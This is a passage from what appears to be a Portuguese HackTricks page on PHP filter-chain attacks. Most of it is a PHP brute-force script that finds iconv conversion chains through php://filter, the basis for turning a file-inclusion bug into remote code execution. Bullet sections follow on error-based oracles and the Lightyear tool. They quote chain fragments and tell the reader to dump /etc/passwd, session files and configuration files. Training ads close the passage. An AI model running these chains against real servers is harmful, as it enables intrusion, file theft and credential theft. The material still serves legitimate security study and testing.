'ISO-IR-9-1', 'ISO-IR-10', 'ISO-IR-11', 'ISO-IR-14', 'ISO-IR-15', 'ISO-IR-16', 'ISO-IR-17', 'ISO-IR-18', 'ISO-IR-19', 'ISO-IR-21', 'ISO-IR-25', 'ISO-IR-27', 'ISO-IR-37', 'ISO-IR-49', 'ISO-IR-50', 'ISO-IR-51', 'ISO-IR-54', 'ISO-IR-55', 'ISO-IR-57', 'ISO-IR-60', 'ISO-IR-61', 'ISO-IR-69', 'ISO-IR-84', 'ISO-IR-85', 'ISO-IR-86', 'ISO-IR-88', 'ISO-IR-89', 'ISO-IR-90', 'ISO-IR-92', 'ISO-IR-98', 'ISO-IR-99', 'ISO-IR-100', 'ISO-IR-101', 'ISO-IR-103', 'ISO-IR-109', 'ISO-IR-110', 'ISO-IR-111', 'ISO-IR-121', 'ISO-IR-122', 'ISO-IR-126', 'ISO-IR-127', 'ISO-IR-138', 'ISO-IR-139', 'ISO-IR-141', 'ISO-IR-143', 'ISO-IR-144', 'ISO-IR-148', 'ISO-IR-150', 'ISO-IR-151', 'ISO-IR-153', 'ISO-IR-155', 'ISO-IR-156', 'ISO-IR-157', 'ISO-IR-166', 'ISO-IR-179', 'ISO-IR-193', 'ISO-IR-197', 'ISO-IR-199', 'ISO-IR-203', 'ISO-IR-209', 'ISO-IR-226', 'ISO/TR_11548-1', 'ISO646-CA', 'ISO646-CA2', 'ISO646-CN', 'ISO646-CU', 'ISO646-DE', 'ISO646-DK', 'ISO646-ES', 'ISO646-ES2', 'ISO646-FI', 'ISO646-FR', 'ISO646-FR1', 'ISO646-GB', 'ISO646-HU', 'ISO646-IT', 'ISO646-JP-OCR-B', 'ISO646-JP', 'ISO646-KR', 'ISO646-NO', 'ISO646-NO2', 'ISO646-PT', 'ISO646-PT2', 'ISO646-SE', 'ISO646-SE2', 'ISO646-US', 'ISO646-YU', 'ISO2022CN', 'ISO2022CNEXT', 'ISO2022JP', 'ISO2022JP2', 'ISO2022KR', 'ISO6937', 'ISO8859-1', 'ISO8859-2', 'ISO8859-3', 'ISO8859-4', 'ISO8859-5', 'ISO8859-6', 'ISO8859-7', 'ISO8859-8', 'ISO8859-9', 'ISO8859-9E', 'ISO8859-10', 'ISO8859-11', 'ISO8859-13', 'ISO8859-14', 'ISO8859-15', 'ISO8859-16', 'ISO11548-1', 'ISO88591', 'ISO88592', 'ISO88593', 'ISO88594', 'ISO88595', 'ISO88596', 'ISO88597', 'ISO88598', 'ISO88599', 'ISO88599E', 'ISO885910', 'ISO885911', 'ISO885913', 'ISO885914', 'ISO885915', 'ISO885916', 'ISO_646.IRV:1991', 'ISO_2033-1983', 'ISO_2033', 'ISO_5427-EXT', 'ISO_5427', 'ISO_5427:1981', 'ISO_5427EXT', 'ISO_5428', 'ISO_5428:1980', 'ISO_6937-2', 'ISO_6937-2:1983', 'ISO_6937', 'ISO_6937:1992', 'ISO_8859-1', 'ISO_8859-1:1987', 'ISO_8859-2', 'ISO_8859-2:1987', 'ISO_8859-3', 'ISO_8859-3:1988', 'ISO_8859-4', 'ISO_8859-4:1988', 'ISO_8859-5', 'ISO_8859-5:1988', 'ISO_8859-6', 'ISO_8859-6:1987', 'ISO_8859-7', 'ISO_8859-7:1987', 'ISO_8859-7:2003', 'ISO_8859-8', 'ISO_8859-8:1988', 'ISO_8859-9', 'ISO_8859-9:1989', 'ISO_8859-9E', 'ISO_8859-10', 'ISO_8859-10:1992', 'ISO_8859-14', 'ISO_8859-14:1998', 'ISO_8859-15', 'ISO_8859-15:1998', 'ISO_8859-16', 'ISO_8859-16:2001', 'ISO_9036', 'ISO_10367-BOX', 'ISO_10367BOX', 'ISO_11548-1', 'ISO_69372', 'IT', 'JIS_C6220-1969-RO', 'JIS_C6229-1984-B', 'JIS_C62201969RO', 'JIS_C62291984B', 'JOHAB', 'JP-OCR-B', 'JP', 'JS', 'JUS_I.B1.002', 'KOI-7', 'KOI-8', 'KOI8-R', 'KOI8-RU', 'KOI8-T', 'KOI8-U', 'KOI8', 'KOI8R', 'KOI8U', 'KSC5636', 'L1', 'L2', 'L3', 'L4', 'L5', 'L6', 'L7', 'L8', 'L10', 'LATIN-9', 'LATIN-GREEK-1', 'LATIN-GREEK', 'LATIN1', 'LATIN2', 'LATIN3', 'LATIN4', 'LATIN5', 'LATIN6', 'LATIN7', 'LATIN8', 'LATIN9', 'LATIN10', 'LATINGREEK', 'LATINGREEK1', 'MAC-CENTRALEUROPE', 'MAC-CYRILLIC', 'MAC-IS', 'MAC-SAMI', 'MAC-UK', 'MAC', 'MACCYRILLIC', 'MACINTOSH', 'MACIS', 'MACUK', 'MACUKRAINIAN', 'MIK', 'MS-ANSI', 'MS-ARAB', 'MS-CYRL', 'MS-EE', 'MS-GREEK', 'MS-HEBR', 'MS-MAC-CYRILLIC', 'MS-TURK', 'MS932', 'MS936', 'MSCP949', 'MSCP1361', 'MSMACCYRILLIC', 'MSZ_7795.3', 'MS_KANJI', 'NAPLPS', 'NATS-DANO', 'NATS-SEFI', 'NATSDANO', 'NATSSEFI', 'NC_NC0010', 'NC_NC00-10', 'NC_NC00-10:81', 'NF_Z_62-010', 'NF_Z_62-010_(1973)', 'NF_Z_62-010_1973', 'NF_Z_62010', 'NF_Z_62010_1973', 'NO', 'NO2', 'NS_4551-1', 'NS_4551-2', 'NS_45511', 'NS_45512', 'OS2LATIN1', 'OSF00010001', 'OSF00010002', 'OSF00010003', 'OSF00010004', 'OSF00010005', 'OSF00010006', 'OSF00010007', 'OSF00010008', 'OSF00010009', 'OSF0001000A', 'OSF00010020', 'OSF00010100', 'OSF00010101', 'OSF00010102', 'OSF00010104', 'OSF00010105', 'OSF00010106', 'OSF00030010', 'OSF0004000A', 'OSF0005000A', 'OSF05010001', 'OSF100201A4', 'OSF100201A8', 'OSF100201B5', 'OSF100201F4', 'OSF100203B5', 'OSF1002011C', 'OSF1002011D', 'OSF1002035D', 'OSF1002035E', 'OSF1002035F', 'OSF1002036B', 'OSF1002037B', 'OSF10010001', 'OSF10010004', 'OSF10010006', 'OSF10020025', 'OSF10020111', 'OSF10020115', 'OSF10020116', 'OSF10020118', 'OSF10020122', 'OSF10020129', 'OSF10020352', 'OSF10020354', 'OSF10020357', 'OSF10020359', 'OSF10020360', 'OSF10020364', 'OSF10020365', 'OSF10020366', 'OSF10020367', 'OSF10020370', 'OSF10020387', 'OSF10020388', 'OSF10020396', 'OSF10020402', 'OSF10020417', 'PT', 'PT2', 'PT154', 'R8', 'R9', 'RK1048', 'ROMAN8', 'ROMAN9', 'RUSCII', 'SE', 'SE2', 'SEN_850200_B', 'SEN_850200_C', 'SHIFT-JIS', 'SHIFTJISX0213', 'SHIFT_JIS', 'SHIFT_JISX0213', 'SJIS-OPEN', 'SJIS-WIN', 'SJIS', 'SS636127', 'STRK1048-2002', 'ST_SEV_358-88', 'T.61-8BIT', 'T.61', 'T.618BIT', 'TCVN-5712', 'TCVN', 'TCVN5712-1', 'TCVN5712-1:1993', 'THAI8', 'TIS-620', 'TIS620-0', 'TIS620.2529-1', 'TIS620.2533-0', 'TIS620', 'TS-5881', 'TSCII', 'TURKISH8', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UCS-4', 'UCS-4BE', 'UCS-4LE', 'UCS2', 'UCS4', 'UHC', 'UJIS', 'UK', 'UNICODE', 'UNICODEBIG', 'UNICODELITTLE', 'US-ASCII', 'US', 'UTF-7', 'UTF-8', 'UTF-16', 'UTF-16BE', 'UTF-16LE', 'UTF-32', 'UTF-32BE', 'UTF-32LE', 'UTF7', 'UTF8', 'UTF16', 'UTF16BE', 'UTF16LE', 'UTF32', 'UTF32BE', 'UTF32LE', 'VISCII', 'WCHAR_T', 'WIN-SAMI-2', 'WINBALTRIM', 'WINDOWS-31J', 'WINDOWS-874', 'WINDOWS-936', 'WINDOWS-1250', 'WINDOWS-1251', 'WINDOWS-1252', 'WINDOWS-1253', 'WINDOWS-1254', 'WINDOWS-1255', 'WINDOWS-1256', 'WINDOWS-1257', 'WINDOWS-1258', 'WINSAMI2', 'WS2', 'YU');

$init = " ";
$known = array();


function get_tranform($val, $convs){
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
}


function test_value($val, $convs){
global $known;

$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);

if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){

$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);

$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");

if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";

if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
}

function find_vals($init_val) {
global $convs;

$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
array_push($convs_used, array("UTF8", "CSISO2022KR"));

$current_val2 = "";

for ($c = 0; $c < 5; $c++){
$conv1 = $convs[array_rand($convs, 1)];
$conv2 = $convs[array_rand($convs, 1)];

if ($conv1 === $conv2){
continue;
}

$new_conv = array($conv1, $conv2);
array_push($convs_used, $new_conv);

$current_val2 = get_tranform($current_val, array($new_conv));

if ($current_val === $current_val2){
continue;
}

$current_val = $current_val2;
test_value($current_val, $convs_used);
}
}

while(true){
find_vals($init);
}
?>

Cadeias de Filtros Avançadas na Prática

Oráculos de filtro baseados em erro (php_filter_chains_oracle_exploit)

  • Encadeie uma memory bomb (por exemplo, uma dúzia de convert.iconv.UTF8.UCS-4LE passes) com dechunk para que o primeiro leaked base64 digit controle o resultado: se ele se tornar hexadecimal o payload colapsa silenciosamente, caso contrário o PHP esgota memória e lança um erro, fornecendo um oráculo de 1 bit.
  • Interrogue o oráculo repetidamente enquanto iconv embaralha (convert.iconv.UTF16.UTF16BE, convert.iconv.UCS-4LE.UCS-4, etc.) rotacionando dígitos base64 arbitrários para a frente, permitindo ler arquivos byte a byte mesmo quando nada é ecoado.
  • A ferramenta da Synacktiv, php_filter_chains_oracle_exploit, automatiza a cadeia, mantém os payloads GET-safe e documenta os primitivos de arquivo do PHP (file_get_contents, finfo, hash_file, getimagesize, …) que você pode abusar para pivotar de LFI para credenciais ou RCE staged.

Lightyear: saltos entre conjuntos de dígitos e poda de chunks

  • Lightyear constrói conjuntos alternativos de dígitos base64 via sequências como convert.iconv.IBM1144.HP-ROMAN8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037, transformando um dígito escolhido em uma nova linha; anteponha um caractere hexadecimal, execute dechunk, e você pode saltar sobre chunks arbitrários mantendo os payloads compatíveis com o comprimento de URL.
  • Em vez de trocar bytes repetidamente, o Lightyear encadeia vários saltos, rastreia tamanhos seguros de chunk e fecha cada leak com uma árvore dicotômica de seis consultas que reduz pela metade o conjunto candidato de dígitos, assim arquivos grandes podem ser dumpados via parâmetros GET sem disparar avisos do PHP.
  • O release inclui ferramentas Python prontas para rodar: uma vez que você controle include(), aponte-o para /etc/passwd, PHP session stores, ou arquivos de configuração, extraia-os e depois retorne ao método de prepend base64 acima para criar payloads RCE dentro de php://temp ou outros sinks sem escrita.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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